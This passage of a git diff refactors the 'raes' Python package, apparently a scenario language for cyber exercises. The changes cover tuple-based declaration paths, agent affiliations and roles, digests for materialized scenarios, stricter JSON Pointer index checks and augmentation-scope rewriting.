elif name in {"admit_materialized_scenario", "MaterializedScenario"}: + module = import_module("raes.materialization") elif name == "validate_experiment_selection_against_family": module = import_module("raes.experiment_selection") elif name in {"ExpandedScenarioBindingTargetResolver", "select_scenario_family"}: diff --git a/implementations/python/packages/raes/_composition_provenance.py b/implementations/python/packages/raes/_composition_provenance.py index 47dc7aef9..ef56d934e 100644 --- a/implementations/python/packages/raes/_composition_provenance.py +++ b/implementations/python/packages/raes/_composition_provenance.py @@ -102,17 +102,22 @@ def prefixed_realization_designation( ) -> RealizationDesignationRecord: """Qualify one imported lexical scope through the composition symbol map.""" - parts = record.field_pointer.split("/") + return RealizationDesignationRecord( + namespace=(namespace, *record.namespace), + field_pointer=prefixed_scope_pointer(record.field_pointer, symbols=symbols), + posture=record.posture, + ) + + +def prefixed_scope_pointer(field_pointer: str, *, symbols: dict[str, dict[str, str] | set[str]]) -> str: + """Qualify a semantic location through the existing composition symbol map.""" + parts = field_pointer.split("/") if len(parts) >= 3: section_symbols = symbols.get(_decode_pointer_segment(parts[1])) declaration_name = _decode_pointer_segment(parts[2]) if isinstance(section_symbols, Mapping) and declaration_name in section_symbols: parts[2] = _encode_pointer_segment(section_symbols[declaration_name]) - return RealizationDesignationRecord( - namespace=(namespace, *record.namespace), - field_pointer="/".join(parts), - posture=record.posture, - ) + return "/".join(parts) def prefixed_realization_constraint( diff --git a/implementations/python/packages/raes/_declarations.py b/implementations/python/packages/raes/_declarations.py index 555777d89..f76bafc4e 100644 --- a/implementations/python/packages/raes/_declarations.py +++ b/implementations/python/packages/raes/_declarations.py @@ -29,6 +29,7 @@ class Declaration: source: str | None = None referenceable: bool = False targetable: bool = False + model_tokens: tuple[str, ...] = () class DeclarationIndex: @@ -131,7 +132,7 @@ def _add( *, kind: str, address_parts: tuple[str, ...], - model_path: str, + model_path: tuple[str, ...], aliases: Iterable[str] = (), referenceable: bool = False, targetable: bool = False, @@ -140,7 +141,8 @@ def _add( Declaration( kind=kind, address=_address(*address_parts), - model_path=model_path, + model_path=".".join(model_path), + model_tokens=model_path, referenceable=referenceable, targetable=targetable, ), @@ -153,7 +155,7 @@ def _add_entities( entities: dict[str, Entity], *, address_prefix: tuple[str, ...], - model_prefix: str, + model_prefix: tuple[str, ...], ) -> None: for name, entity in entities.items(): parts = _qualified_parts(name) if not address_prefix else (name,) @@ -163,7 +165,7 @@ def _add_entities( index, kind="entity", address_parts=("entities", *entity_parts), - model_path=f"{model_prefix}.{name}", + model_path=(*model_prefix, name), aliases=(relative_name,), referenceable=True, targetable=True, @@ -172,7 +174,7 @@ def _add_entities( index, entity.entities, address_prefix=entity_parts, - model_prefix=f"{model_prefix}.{name}.entities", + model_prefix=(*model_prefix, name, "entities"), ) @@ -181,7 +183,7 @@ def _add_runtime_children( owner: object, *, address_prefix: tuple[str, ...], - model_prefix: str, + model_prefix: tuple[str, ...], children: tuple[RuntimeReferenceChild, ...], ) -> None: for child_spec in children: @@ -192,7 +194,7 @@ def _add_runtime_children( index, kind=f"runtime-{child_spec.collection_name}", address_parts=child_parts, - model_path=(f"{model_prefix}.{child_spec.collection_name}.{position}.{child_spec.id_field}"), + model_path=(*model_prefix, child_spec.collection_name, str(position), child_spec.id_field), referenceable=True, targetable=True, ) @@ -200,7 +202,7 @@ def _add_runtime_children( index, child, address_prefix=child_parts, - model_prefix=f"{model_prefix}.{child_spec.collection_name}.{position}", + model_prefix=(*model_prefix, child_spec.collection_name, str(position)), children=child_spec.children, ) @@ -212,7 +214,7 @@ def _add_node_declarations(index: DeclarationIndex, scenario: ScenarioContent) - index, kind="node", address_parts=("nodes", *node_parts), - model_path=f"nodes.{node_name}", + model_path=("nodes", node_name), aliases=(node_name,), referenceable=True, targetable=True, @@ -222,7 +224,7 @@ def _add_node_declarations(index: DeclarationIndex, scenario: ScenarioContent) - index, kind="node-role", address_parts=("nodes", *node_parts, "roles", role_name), - model_path=f"nodes.{node_name}.roles.{role_name}", + model_path=("nodes", node_name, "roles", role_name), ) for position, service in enumerate(node.services): if service.name: @@ -230,7 +232,7 @@ def _add_node_declarations(index: DeclarationIndex, scenario: ScenarioContent) - index, kind="service", address_parts=("nodes", *node_parts, "services", service.name), - model_path=f"nodes.{node_name}.services.{position}.name", + model_path=("nodes", node_name, "services", str(position), "name"), referenceable=True, targetable=True, ) @@ -251,7 +253,7 @@ def _add_node_declarations(index: DeclarationIndex, scenario: ScenarioContent) - index, kind=f"runtime-{family.collection_name}", address_parts=runtime_parts, - model_path=(f"nodes.{node_name}.runtime.{family.collection_name}.{position}.{family.id_field}"), + model_path=("nodes", node_name, "runtime", family.collection_name, str(position), family.id_field), referenceable=True, targetable=True, ) @@ -259,7 +261,7 @@ def _add_node_declarations(index: DeclarationIndex, scenario: ScenarioContent) - index, item, address_prefix=runtime_parts, - model_prefix=f"nodes.{node_name}.runtime.{family.collection_name}.{position}", + model_prefix=("nodes", node_name, "runtime", family.collection_name, str(position)), children=family.child_refs, ) @@ -310,7 +312,7 @@ def _add_section_declarations(index: DeclarationIndex, scenario: ScenarioContent index, kind=section_name, address_parts=(section_name, *_qualified_parts(name)), - model_path=f"{section_name}.{name}", + model_path=(section_name, name), aliases=(name,), referenceable=referenceable, targetable=referenceable and is_targetable_section(section_name), @@ -330,7 +332,7 @@ def _add_tool_affordance_declarations(index: DeclarationIndex, scenario: Scenari "tool_affordances", affordance_id, ), - model_path=(f"behavior_specifications.{spec_name}.tool_affordances.{affordance_id}"), + model_path=("behavior_specifications", spec_name, "tool_affordances", affordance_id), referenceable=True, ) @@ -351,7 +353,7 @@ def _add_participant_inject_delivery_declarations( "participant_inject_deliveries", binding_id, ), - model_path=(f"behavior_specifications.{spec_name}.participant_inject_deliveries.{binding_id}"), + model_path=("behavior_specifications", spec_name, "participant_inject_deliveries", binding_id), referenceable=True, targetable=True, ) @@ -363,7 +365,7 @@ def _add_variable_declarations(index: DeclarationIndex, scenario: ScenarioConten index, kind="variable", address_parts=("variables", name), - model_path=f"variables.{name}", + model_path=("variables", name), aliases=(name,), referenceable=True, ) @@ -376,7 +378,7 @@ def _add_infrastructure_declarations(index: DeclarationIndex, scenario: Scenario index, kind="infrastructure", address_parts=("infrastructure", *parts), - model_path=f"infrastructure.{name}", + model_path=("infrastructure", name), referenceable=True, targetable=True, ) @@ -386,7 +388,7 @@ def _add_infrastructure_declarations(index: DeclarationIndex, scenario: Scenario index, kind="infrastructure-acl", address_parts=("infrastructure", *parts, "acls", acl.name), - model_path=f"infrastructure.{name}.acls.{position}.name", + model_path=("infrastructure", name, "acls", str(position), "name"), referenceable=True, targetable=True, ) @@ -399,7 +401,7 @@ def _add_content_declarations(index: DeclarationIndex, scenario: ScenarioContent index, kind="content", address_parts=("content", *parts), - model_path=f"content.{name}", + model_path=("content", name), aliases=(name,), referenceable=True, targetable=True, @@ -409,7 +411,7 @@ def _add_content_declarations(index: DeclarationIndex, scenario: ScenarioContent index, kind="content-item", address_parts=("content", *parts, "items", item.name), - model_path=f"content.{name}.items.{position}.name", + model_path=("content", name, "items", str(position), "name"), aliases=(item.name,), referenceable=True, targetable=True, @@ -423,7 +425,7 @@ def _add_workflow_declarations(index: DeclarationIndex, scenario: ScenarioConten index, kind="workflow", address_parts=("workflows", *parts), - model_path=f"workflows.{name}", + model_path=("workflows", name), aliases=(name,), referenceable=True, ) @@ -432,7 +434,7 @@ def _add_workflow_declarations(index: DeclarationIndex, scenario: ScenarioConten index, kind="workflow-step", address_parts=("workflows", *parts, "steps", step_name), - model_path=f"workflows.{name}.steps.{step_name}", + model_path=("workflows", name, "steps", step_name), aliases=(f"{name}.{step_name}",), ) @@ -443,7 +445,7 @@ def _add_forwarding_agent_declarations(index: DeclarationIndex, scenario: Scenar index, kind="forwarding-agent", address_parts=("forwarding_agents", *_qualified_parts(agent.forwarding_agent_id)), - model_path=f"forwarding_agents.{position}.forwarding_agent_id", + model_path=("forwarding_agents", str(position), "forwarding_agent_id"), referenceable=True, targetable=True, ) @@ -457,7 +459,7 @@ def _add_variation_member_declarations(index: DeclarationIndex, scenario: Scenar index, kind=f"variation-{container[:-1]}", address_parts=("variation_points", *_qualified_parts(point_name), container, member_name), - model_path=f"variation_points.{point_name}.{container}.{member_name}", + model_path=("variation_points", point_name, container, member_name), aliases=(f"{point_name}.{member_name}",), referenceable=True, ) @@ -475,7 +477,7 @@ def build_declaration_index( index, kind="scenario", address_parts=("scenario", scenario.name), - model_path="name", + model_path=("name",), ) _add_section_declarations(index, scenario) @@ -484,12 +486,11 @@ def build_declaration_index( _add_variable_declarations(index, scenario) _add_node_declarations(index, scenario) _add_infrastructure_declarations(index, scenario) - _add_entities(index, scenario.entities, address_prefix=(), model_prefix="entities") + _add_entities(index, scenario.entities, address_prefix=(), model_prefix=("entities",)) _add_content_declarations(index, scenario) _add_workflow_declarations(index, scenario) _add_forwarding_agent_declarations(index, scenario) _add_variation_member_declarations(index, scenario) - if raise_on_collision: index.raise_for_collisions() return index diff --git a/implementations/python/packages/raes/_language_metadata.py b/implementations/python/packages/raes/_language_metadata.py index 5a559c3ac..68c810a88 100644 --- a/implementations/python/packages/raes/_language_metadata.py +++ b/implementations/python/packages/raes/_language_metadata.py @@ -2,7 +2,17 @@ from __future__ import annotations +from .participant_relationships import PARTICIPANT_RELATIONSHIP_REFERENCE_SECTIONS + REFERENCE_COMPLETION_TARGETS = { + **{ + ("relationships", field): section + for field, section in PARTICIPANT_RELATIONSHIP_REFERENCE_SECTIONS.items() + if section != "named" + }, + ("relationships", "authority_basis_refs"): "any", + ("relationships", "scope_refs"): "targetable", + ("relationships", "control_specification_ref"): "behavior_specifications", ("nodes", "features"): "features", ("nodes", "conditions"): "conditions", ("nodes", "injects"): "injects", @@ -36,7 +46,7 @@ ("relationships", "target"): "targetable", ("relationships", "controller_refs"): "nodes", ("relationships", "mutable_state_refs"): "persistent_volumes", - ("agents", "entity"): "entities", + ("agents", "affiliations"): "entities", ("agents", "starting_accounts"): "accounts", ("agents", "starting_assertions"): "assertions", ("agents", "target_ref"): "nodes", @@ -71,8 +81,9 @@ ("time_progression_policies", "clock_ref"): "clocks", ("temporal_constraints", "clock_ref"): "clocks", ("temporal_constraints", "subject_refs"): "targetable", - ("objectives", "agent"): "agents", - ("objectives", "entity"): "entities", + ("objectives", "assigned_participant"): "agents", + ("objectives", "owner"): "entities", + ("objectives", "actions"): "action_contracts", ("objectives", "targets"): "targetable", ("objectives", "depends_on"): "objectives", ("objectives", "assertions"): "assertions", @@ -91,6 +102,7 @@ } SECTION_FIELD_COMPLETIONS = { + "augmentation_scope": ("default", "scopes"), "realization": ("default", "scopes"), "nodes": ( "type", @@ -146,6 +158,7 @@ "deployment_cells": ("tenant_ref", "node_refs", "cross_tenant_isolation"), "relationships": ( "type", + "participant", "source", "target", "properties", @@ -157,7 +170,8 @@ "shared_service", ), "agents": ( - "entity", + "affiliations", + "role", "actions", "starting_accounts", "starting_assertions", @@ -242,7 +256,7 @@ "cadence_ticks", "description", ), - "objectives": ("agent", "entity", "actions", "targets", "success", "window", "depends_on"), + "objectives": ("assigned_participant", "owner", "actions", "targets", "success", "window", "depends_on"), "workflows": ("start", "steps"), "variables": ("type", "default", "required", "allowed_values", "description"), "variation_points": ( diff --git a/implementations/python/packages/raes/_mapping_key_analyzer.py b/implementations/python/packages/raes/_mapping_key_analyzer.py index 1265ae415..0169328ac 100644 --- a/implementations/python/packages/raes/_mapping_key_analyzer.py +++ b/implementations/python/packages/raes/_mapping_key_analyzer.py @@ -17,7 +17,7 @@ from yaml.nodes import MappingNode, Node, ScalarNode, SequenceNode from ._errors import SDLParseDiagnostic, SDLSourcePosition, SDLSourceRange -from ._identifiers import is_portable_identifier +from ._identifiers import QualifiedName, is_portable_identifier from ._mapping_scopes import PROFILE_JSON_FIELDS, MappingScope, is_literal_map_field, normalize_field_key from ._source_identifier_paths import is_declaration_key_path, is_scalar_identifier_path from ._source_profile import SDLMigrationPolicy @@ -64,6 +64,7 @@ def __init__( migration_policy: SDLMigrationPolicy, path: Path | None, source_ranges: dict[str, SDLSourceRange] | None = None, + materialized: bool = False, ) -> None: self.diagnostics: list[SDLParseDiagnostic] = [] self._migration_policy = migration_policy @@ -72,6 +73,7 @@ def __init__( self._diagnostic_keys: set[tuple[Any, ...]] = set() self._walked: set[tuple[int, MappingScope]] = set() self._source_ranges = source_ranges + self._materialized = materialized def analyze( self, @@ -233,14 +235,27 @@ def _validate_entry_identifiers( suppress_field_migration: bool, ) -> None: if is_declaration_key_path(tokens) and not suppress_field_migration: - self._validate_identifier_node(key_node, pointer_tokens=child_tokens) - if tokens == ["nodes"] and len(authored) > 35: - self._add_identifier_diagnostic(key_node, pointer_tokens=child_tokens, node_limit=True) + self._validate_declaration_identifier(key_node, authored, tokens, child_tokens) if child_tokens == ["name"]: self._validate_identifier_node(value_node, pointer_tokens=child_tokens) if is_scalar_identifier_path(child_tokens): self._validate_identifier_node(value_node, pointer_tokens=child_tokens) + def _validate_declaration_identifier( + self, key_node: Node, authored: str, tokens: list[str], child_tokens: list[str] + ) -> None: + qualified = self._materialized and len(tokens) == 1 + if qualified: + try: + QualifiedName.parse(authored) + except ValueError: + self._add_identifier_diagnostic(key_node, pointer_tokens=child_tokens) + else: + self._validate_identifier_node(key_node, pointer_tokens=child_tokens) + local_name = authored.rsplit(".", 1)[-1] if qualified else authored + if tokens == ["nodes"] and len(local_name) > 35: + self._add_identifier_diagnostic(key_node, pointer_tokens=child_tokens, node_limit=True) + def _validate_identifier_node(self, node: Node, *, pointer_tokens: list[str]) -> None: if not isinstance(node, ScalarNode) or node.tag != _STRING_TAG or not is_portable_identifier(node.value): self._add_identifier_diagnostic(node, pointer_tokens=pointer_tokens) diff --git a/implementations/python/packages/raes/_scenario_instantiation.py b/implementations/python/packages/raes/_scenario_instantiation.py index a84b8391b..648fc50d3 100644 --- a/implementations/python/packages/raes/_scenario_instantiation.py +++ b/implementations/python/packages/raes/_scenario_instantiation.py @@ -32,6 +32,8 @@ def resolve_json_pointer(payload: object, pointer: str) -> object: if isinstance(current, Mapping): current = current[segment] elif isinstance(current, (list, tuple)): + if not segment.isascii() or not segment.isdigit() or (segment != "0" and segment.startswith("0")): + raise ValueError("JSON Pointer array index must be a canonical non-negative integer") current = current[int(segment)] else: raise TypeError("JSON Pointer traverses a scalar value") diff --git a/implementations/python/packages/raes/_transformation_portable.py b/implementations/python/packages/raes/_transformation_portable.py index a51210c92..a2e655a0b 100644 --- a/implementations/python/packages/raes/_transformation_portable.py +++ b/implementations/python/packages/raes/_transformation_portable.py @@ -27,7 +27,8 @@ PortableContractTransformationResult, SDLAuthoringArtifact, ) -from .canonical import canonical_sdl_digest +from .canonical import canonical_materialized_sdl_digest, canonical_sdl_digest +from .materialization import MaterializedScenario from .scenario import ExpandedScenario, Scenario @@ -89,8 +90,8 @@ def canonicalize_portable_contract( def compare_canonical_artifacts( - left: SDLAuthoringArtifact | ContractModel, - right: SDLAuthoringArtifact | ContractModel, + left: SDLAuthoringArtifact | MaterializedScenario | ContractModel, + right: SDLAuthoringArtifact | MaterializedScenario | ContractModel, ) -> CanonicalArtifactComparison: """Compare two artifacts of the same kind under their owning canonicalizer.""" @@ -101,6 +102,13 @@ def compare_canonical_artifacts( canonicalization_profile = left_identity.profile left_digest = left_identity.value right_digest = right_identity.value + elif isinstance(left, MaterializedScenario) and isinstance(right, MaterializedScenario): + left_identity = canonical_materialized_sdl_digest(left) + right_identity = canonical_materialized_sdl_digest(right) + artifact_kind = ArtifactTransformationKind.SDL_MATERIALIZATION + canonicalization_profile = left_identity.profile + left_digest = left_identity.value + right_digest = right_identity.value elif isinstance(left, ContractModel) and isinstance(right, ContractModel): if _portable_contract_profile(left) != _portable_contract_profile(right): raise TypeError("portable canonical comparison requires the same exact contract profile") diff --git a/implementations/python/packages/raes/_version.py b/implementations/python/packages/raes/_version.py index e1173a1eb..a2664d526 100644 --- a/implementations/python/packages/raes/_version.py +++ b/implementations/python/packages/raes/_version.py @@ -1,3 +1,3 @@ """Release Please-owned build version for the RAES distribution.""" -__version__ = "4.1.0" # x-release-please-version +__version__ = "5.0.0" # x-release-please-version diff --git a/implementations/python/packages/raes/_yaml_loader.py b/implementations/python/packages/raes/_yaml_loader.py index 81ec90280..af895d86d 100644 --- a/implementations/python/packages/raes/_yaml_loader.py +++ b/implementations/python/packages/raes/_yaml_loader.py @@ -5,7 +5,7 @@ from pathlib import Path import yaml -from yaml.nodes import Node +from yaml.nodes import MappingNode, Node, ScalarNode from ._errors import ( SDLParseDiagnostic, @@ -128,6 +128,15 @@ def compose_sdl_yaml( loader.dispose() +def _is_materialized_mapping(root: Node, scope: MappingScope, base_pointer: str) -> bool: + return ( + not base_pointer + and scope is MappingScope.STRUCTURAL + and isinstance(root, MappingNode) + and any(isinstance(key, ScalarNode) and key.value == "materialization_provenance" for key, _value in root.value) + ) + + def _validate_mapping_keys( root: Node, *, @@ -142,6 +151,7 @@ def _validate_mapping_keys( migration_policy=migration_policy, path=path, source_ranges=source_ranges, + materialized=_is_materialized_mapping(root, scope, base_pointer), ).analyze( root, scope=scope, diff --git a/implementations/python/packages/raes/agents.py b/implementations/python/packages/raes/agents.py index 713558d52..c543851cc 100644 --- a/implementations/python/packages/raes/agents.py +++ b/implementations/python/packages/raes/agents.py @@ -1,7 +1,7 @@ """Agent models — role-neutral participants in the scenario. -Adapted from CybORG's Agents section. An agent has a role (from -entities), available actions, initial authenticated access (via +Adapted from CybORG's Agents section. An agent has a role, optional +organizational affiliations, available actions, initial authenticated access (via accounts), initial knowledge of the environment, and network scope constraints. @@ -10,20 +10,22 @@ are a deployment-layer concern. The ``Agent`` model is the SDL-authoring surface for declarative -participant framing (ACT-601, ADR-020). Identity binds to a declared -``entities`` entry, role reuses ``entities.role``, starting conditions +participant framing (ACT-601, ADR-020). Its declaration key is its identity. +An explicit role takes precedence over single-affiliation role inheritance; starting conditions combine ``starting_accounts``/``initial_knowledge``/``starting_assertions``, authority anchors point at declared SDL elements, and operating scope combines ``allowed_subnets`` with the broader ``operating_scope`` list. """ +from collections.abc import Mapping from enum import Enum from pydantic import Field, field_validator, model_validator from raes_contracts.domain_profiles import DomainProfileBindingModel -from ._base import SDLModel, WholeFieldVariableReference +from ._base import SDLModel, WholeFieldVariableReference, is_variable_ref, parse_enum_or_var from ._identifiers import PortableIdentifier +from .entities import Entity, ExerciseRole from .profile_selections import parse_profile_or_enum @@ -74,8 +76,8 @@ class Agent(SDLModel): Agents reference existing scenario elements: - - ``entity`` links to the entities section (team/role) and supplies - identity and role per ADR-020 + - ``affiliations`` links to entities without conferring identity or authority + - ``role`` explicitly selects an exercise role, overriding inherited role - ``starting_accounts`` links to the accounts section - ``allowed_subnets`` links to infrastructure entries - ``initial_knowledge`` references nodes and infrastructure @@ -100,7 +102,8 @@ class Agent(SDLModel): experiment/evaluator plane (ADR-055/064/069). """ - entity: str = "" + affiliations: list[str] = Field(default_factory=list) + role: ExerciseRole | WholeFieldVariableReference | None = None description: str = "" actions: list[str] = Field(default_factory=list) starting_accounts: list[str] = Field(default_factory=list) @@ -115,18 +118,32 @@ class Agent(SDLModel): json_schema_extra={"additionalProperties": False}, ) + @field_validator("role", mode="before") + @classmethod + def normalize_role(cls, value: object) -> object: + return parse_enum_or_var(value, ExerciseRole, field_name="role") + + def effective_role(self, entities: Mapping[str, Entity]) -> str | None: + """Resolve explicit role, then exactly one affiliation; never pick a team.""" + role = self.role + if role is None and len(self.affiliations) == 1: + affiliation = self.affiliations[0] + if is_variable_ref(affiliation): + return affiliation + role = getattr(entities.get(affiliation), "role", None) + return str(getattr(role, "value", role)) if role is not None else None + @model_validator(mode="before") @classmethod def reject_legacy_starting_conditions(cls, value: object) -> object: + if isinstance(value, dict) and "entity" in value: + raise ValueError( + "agent.entity was replaced by affiliations; use migrate_participant_identity " + "(docs/migration/participant-identity.md)" + ) if isinstance(value, dict) and "starting_conditions" in value: raise ValueError( "agent starting_conditions cannot state backend-neutral truth; " "reference precondition assertions via starting_assertions" ) return value - - @model_validator(mode="after") - def validate_required_entity(self) -> "Agent": - if not self.entity: - raise ValueError("Agent requires 'entity'") - return self diff --git a/implementations/python/packages/raes/canonical.py b/implementations/python/packages/raes/canonical.py index 6c761c52f..a2c92719e 100644 --- a/implementations/python/packages/raes/canonical.py +++ b/implementations/python/packages/raes/canonical.py @@ -14,9 +14,12 @@ from ._base import SDLModel from ._errors import SDLParseError from ._source_profile import SDL_CANONICAL_PROFILE +from .materialization import MaterializedScenario, admit_materialized_scenario from .scenario import ExpandedScenario, InstantiatedScenario, Scenario INSTANTIATED_SNAPSHOT_PROFILE = "raes-sdl-instantiated-snapshot/v2" +MATERIALIZED_SDL_PROFILE = "raes-sdl-materialized/v1" +_SHA256_PREFIX = "sha256:" _LEGACY_SNAPSHOT_PROJECTION_REVISION = "instantiated-snapshot-v1/node-architecture-default" @@ -34,8 +37,8 @@ def as_dict(self) -> dict[str, str]: def canonical_sdl_bytes(scenario: Scenario | ExpandedScenario) -> bytes: """Return RFC 8785 bytes for one validated, post-expansion authoring scenario.""" - if isinstance(scenario, InstantiatedScenario): - raise SDLParseError("Canonical SDL semantic identity requires an authoring scenario, not an instantiated one") + if not isinstance(scenario, (Scenario, ExpandedScenario)): + raise SDLParseError("Canonical SDL semantic identity requires an authoring scenario") if not scenario.semantic_validated: raise SDLParseError("Canonical SDL semantic identity requires successful semantic validation") @@ -65,7 +68,32 @@ def canonical_sdl_digest(scenario: Scenario | ExpandedScenario) -> SDLCanonicalD return SDLCanonicalDigest( profile=SDL_CANONICAL_PROFILE, algorithm="sha256", - value=f"sha256:{digest}", + value=f"{_SHA256_PREFIX}{digest}", + ) + + +def canonical_materialized_sdl_bytes(scenario: MaterializedScenario) -> bytes: + """Return a descriptive identity without reusing an input snapshot profile.""" + if not isinstance(scenario, MaterializedScenario) or not scenario.semantic_validated: + raise SDLParseError("Materialized SDL identity requires a validated materialization description") + scenario = admit_materialized_scenario(scenario) + try: + return rfc8785.dumps( + { + "profile": MATERIALIZED_SDL_PROFILE, + "scenario": scenario.model_dump(mode="json", by_alias=True, exclude_unset=True), + } + ) + except rfc8785.CanonicalizationError as exc: + raise SDLParseError("Materialized SDL canonicalization failed") from exc + + +def canonical_materialized_sdl_digest(scenario: MaterializedScenario) -> SDLCanonicalDigest: + """Return the separately profiled identity of a materialization description.""" + return SDLCanonicalDigest( + profile=MATERIALIZED_SDL_PROFILE, + algorithm="sha256", + value=_SHA256_PREFIX + hashlib.sha256(canonical_materialized_sdl_bytes(scenario)).hexdigest(), ) @@ -186,7 +214,7 @@ def migrate_legacy_instantiated_snapshot_join( if not changed: return value, submitted_digest, False try: - raw_digest = "sha256:" + hashlib.sha256(rfc8785.dumps(value)).hexdigest() + raw_digest = _SHA256_PREFIX + hashlib.sha256(rfc8785.dumps(value)).hexdigest() except rfc8785.CanonicalizationError as exc: raise ValueError(f"legacy instantiated snapshot canonicalization failed: {exc}") from exc if not isinstance(value, Mapping): @@ -213,7 +241,7 @@ def _legacy_instantiated_snapshot_projection_digest(value: Mapping[str, object]) payload = rfc8785.dumps(projected) except rfc8785.CanonicalizationError as exc: raise ValueError(f"legacy snapshot projection {_LEGACY_SNAPSHOT_PROJECTION_REVISION} failed: {exc}") from exc - return "sha256:" + hashlib.sha256(payload).hexdigest() + return _SHA256_PREFIX + hashlib.sha256(payload).hexdigest() def _pointer_token(value: str) -> str: @@ -248,5 +276,5 @@ def canonical_instantiated_sdl_digest(scenario: InstantiatedScenario) -> SDLCano return SDLCanonicalDigest( profile=INSTANTIATED_SNAPSHOT_PROFILE, algorithm="sha256", - value=f"sha256:{digest}", + value=f"{_SHA256_PREFIX}{digest}", ) diff --git a/implementations/python/packages/raes/composition/_augmentation.py b/implementations/python/packages/raes/composition/_augmentation.py new file mode 100644 index 000000000..eeff33896 --- /dev/null +++ b/implementations/python/packages/raes/composition/_augmentation.py @@ -0,0 +1,67 @@ +"""Preserve imported author restrictions through the canonical rewrite seam.""" + +from typing import Any + +from raes_contracts.augmentation_scope import AugmentationScopePolicy, AugmentationScopeRule +from raes_contracts.realization_structure import semantic_address_contains + +from .._composition_provenance import prefixed_scope_pointer +from ..observation_scope import resolve_observation_scope + + +def rewrite_augmentation_scope(payload: dict[str, Any], symbols: dict[str, dict[str, str]], namespace: str) -> None: + raw = payload.get("augmentation_scope") + if raw is None: + return + policy = AugmentationScopePolicy.model_validate(raw) + prefix = (namespace,) if namespace else () + scopes = [ + AugmentationScopeRule( + scope=_rewritten_scope(rule.scope, payload, symbols), + permission=rule.permission, + namespace=(*prefix, *rule.namespace), + ) + for rule in policy.scopes + ] + if namespace and not any(rule.namespace == prefix and not rule.scope for rule in scopes): + scopes.insert(0, AugmentationScopeRule(scope="", permission=policy.default, namespace=prefix)) + payload["augmentation_scope"] = AugmentationScopePolicy( + default="open" if namespace else policy.default, scopes=tuple(scopes) + ).model_dump(mode="python") + + +def _rewritten_scope(scope: str, payload: dict[str, Any], symbols: dict[str, dict[str, str]]) -> str: + if not scope.startswith("/forwarding_agents/"): + return prefixed_scope_pointer(scope, symbols=symbols) + found, canonical = resolve_observation_scope(payload, scope) + if found: + agents = payload.get("forwarding_agents", []) + for index, _agent in enumerate(agents): + _, parent = resolve_observation_scope(payload, f"/forwarding_agents/{index}") + if semantic_address_contains(parent, canonical): + renamed = { + **payload, + "forwarding_agents": [ + { + **item, + "forwarding_agent_id": symbols["forwarding_agents"].get( + item["forwarding_agent_id"], item["forwarding_agent_id"] + ), + } + for item in agents + ], + } + _, target = resolve_observation_scope(renamed, f"/forwarding_agents/{index}" + canonical[len(parent) :]) + if target is not None: + return target + raise ValueError("augmentation scope has no stable forwarding-agent identity") + + +def merge_augmentation_scope(root: dict[str, Any], incoming: dict[str, Any]) -> None: + if incoming.get("augmentation_scope") is None: + return + local = AugmentationScopePolicy.model_validate(root.get("augmentation_scope") or {}) + imported = AugmentationScopePolicy.model_validate(incoming["augmentation_scope"]) + root["augmentation_scope"] = AugmentationScopePolicy( + default=local.default, scopes=(*local.scopes, *imported.scopes) + ).model_dump(mode="python") diff --git a/implementations/python/packages/raes/composition/_behavior.py b/implementations/python/packages/raes/composition/_behavior.py index 9e75974af..f4fd4baa2 100644 --- a/implementations/python/packages/raes/composition/_behavior.py +++ b/implementations/python/packages/raes/composition/_behavior.py @@ -215,9 +215,8 @@ def _rewrite_agent( agent: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]], ) -> None: - if agent.get("entity"): - agent["entity"] = _maybe_rename(str(agent["entity"]), symbols["entities"]) for field_name, symbol_key in ( + ("affiliations", "entities"), ("starting_accounts", "accounts"), ("actions", "action_contracts"), ("observation_boundaries", "observation_boundaries"), @@ -240,6 +239,40 @@ def _rewrite_agent_sections( _rewrite_agent(agent, symbols) +def _rewrite_autonomous_execution( + policy: dict[str, Any], + symbols: dict[str, dict[str, str] | set[str]], +) -> None: + """Rewrite scenario-owned references, not candidate or external identities.""" + + for field_name, section in ( + ("clock_ref", "clocks"), + ("progression_policy_ref", "time_progression_policies"), + ("observation_boundary_ref", "observation_boundaries"), + ): + if policy.get(field_name): + policy[field_name] = _rewrite_section_ref(policy[field_name], section, symbols[section]) + for field_name, section in ( + ("action_order", "action_contracts"), + ("temporal_constraint_refs", "temporal_constraints"), + ("work_window_refs", "temporal_constraints"), + ("pause_window_refs", "temporal_constraints"), + ): + if field_name in policy: + policy[field_name] = [_rewrite_section_ref(ref, section, symbols[section]) for ref in policy[field_name]] + for candidate in policy.get("action_candidates", {}).values(): + if isinstance(candidate, dict) and candidate.get("action_ref"): + candidate["action_ref"] = _rewrite_section_ref( + candidate["action_ref"], "action_contracts", symbols["action_contracts"] + ) + authority = policy.get("evaluation_authority") + if isinstance(authority, dict) and "objective_refs" in authority: + authority["objective_refs"] = [ + _rewrite_section_ref(ref, "objectives", symbols["objectives"]) for ref in authority["objective_refs"] + ] + _rewrite_participant_resource_budget(policy.get("resource_budget"), symbols) + + def _rewrite_behavior_specification( behavior_spec: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]], @@ -256,7 +289,7 @@ def _rewrite_behavior_specification( ] autonomous_execution = behavior_spec.get("autonomous_execution") if isinstance(autonomous_execution, dict): - _rewrite_participant_resource_budget(autonomous_execution.get("resource_budget"), symbols) + _rewrite_autonomous_execution(autonomous_execution, symbols) _rewrite_mixed_control(behavior_spec.get("mixed_control"), symbols) for binding in behavior_spec.get("tool_affordances", {}).values(): if isinstance(binding, dict): @@ -270,9 +303,99 @@ def _rewrite_behavior_sections( payload: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]], ) -> None: + for rule in payload.get("outcome_interpretation_rules", {}).values(): + if isinstance(rule, dict): + _rewrite_outcome_rule(rule, symbols) + _rewrite_action_interactions(payload.get("action_contracts", {}), symbols) for behavior_spec in payload.get("behavior_specifications", {}).values(): if isinstance(behavior_spec, dict): _rewrite_behavior_specification(behavior_spec, symbols) for requirement in payload.get("evidence_requirements", {}).values(): if isinstance(requirement, dict): _rewrite_evidence_requirement(requirement, symbols) + + +def _rewrite_outcome_rule(rule: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]]) -> None: + """Preserve rule-local criterion IDs while rewriting cross-section sources.""" + sections = { + "participant_action_outcome": "action_contracts", + "objective_result": "objectives", + "workflow_result": "workflows", + } + for field, layer_field in (("source_bindings", "source_layer"), ("target_bindings", "target_layer")): + for binding in rule.get(field, []): + if not isinstance(binding, dict): + continue + section = sections.get(binding.get(layer_field)) + if section is not None: + binding["ref"] = _maybe_rename(binding["ref"], symbols[section]) + _rewrite_binding_evidence_refs(binding, symbols) + rule["evidence_refs"] = [_maybe_rename(ref, symbols["named"]) for ref in 